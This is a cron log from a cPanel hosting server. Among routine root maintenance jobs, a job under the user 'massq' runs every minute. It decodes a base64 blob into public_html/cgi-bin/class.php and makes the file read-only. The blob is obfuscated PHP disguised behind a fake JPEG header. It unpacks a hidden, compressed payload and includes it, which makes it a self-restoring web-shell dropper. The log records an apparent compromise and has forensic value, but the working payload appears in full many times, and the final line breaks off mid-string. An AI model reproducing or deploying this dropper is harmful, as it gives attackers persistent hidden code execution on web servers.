Aug 30 14:05:01 server CROND[19255]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 14:05:01 server CROND[19259]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:05:01 server CROND[19258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:05:01 server CROND[19261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:05:01 server CROND[19262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:05:01 server CROND[19263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:05:01 server CROND[19260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:06:01 server CROND[20104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:06:01 server CROND[20105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:06:01 server CROND[20106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:07:01 server CROND[20487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:07:01 server CROND[20488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:07:01 server CROND[20489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:08:01 server CROND[20872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:08:01 server CROND[20873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:08:01 server CROND[20874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:09:01 server CROND[21300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:09:01 server CROND[21298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:09:01 server CROND[21301]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 14:09:01 server CROND[21299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:10:01 server CROND[21688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:10:01 server CROND[21691]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:10:01 server CROND[21693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:10:01 server CROND[21694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:10:01 server CROND[21698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:10:01 server CROND[21697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:10:01 server CROND[21696]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:10:01 server CROND[21699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:11:01 server CROND[22749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:11:01 server CROND[22750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:11:01 server CROND[22751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:12:01 server CROND[23288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:12:01 server CROND[23287]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:12:01 server CROND[23290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:12:01 server CROND[23289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:13:01 server CROND[23657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:13:01 server CROND[23658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:13:01 server CROND[23659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:14:01 server CROND[24056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:14:01 server CROND[24057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:14:01 server CROND[24058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:15:01 server CROND[24636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:15:01 server CROND[24639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:15:01 server CROND[24640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:15:01 server CROND[24643]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 14:15:01 server CROND[24650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:15:01 server CROND[24649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:15:01 server CROND[24653]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:15:01 server CROND[24651]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 14:15:01 server CROND[24656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:16:01 server CROND[25574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:16:01 server CROND[25575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:16:01 server CROND[25576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0O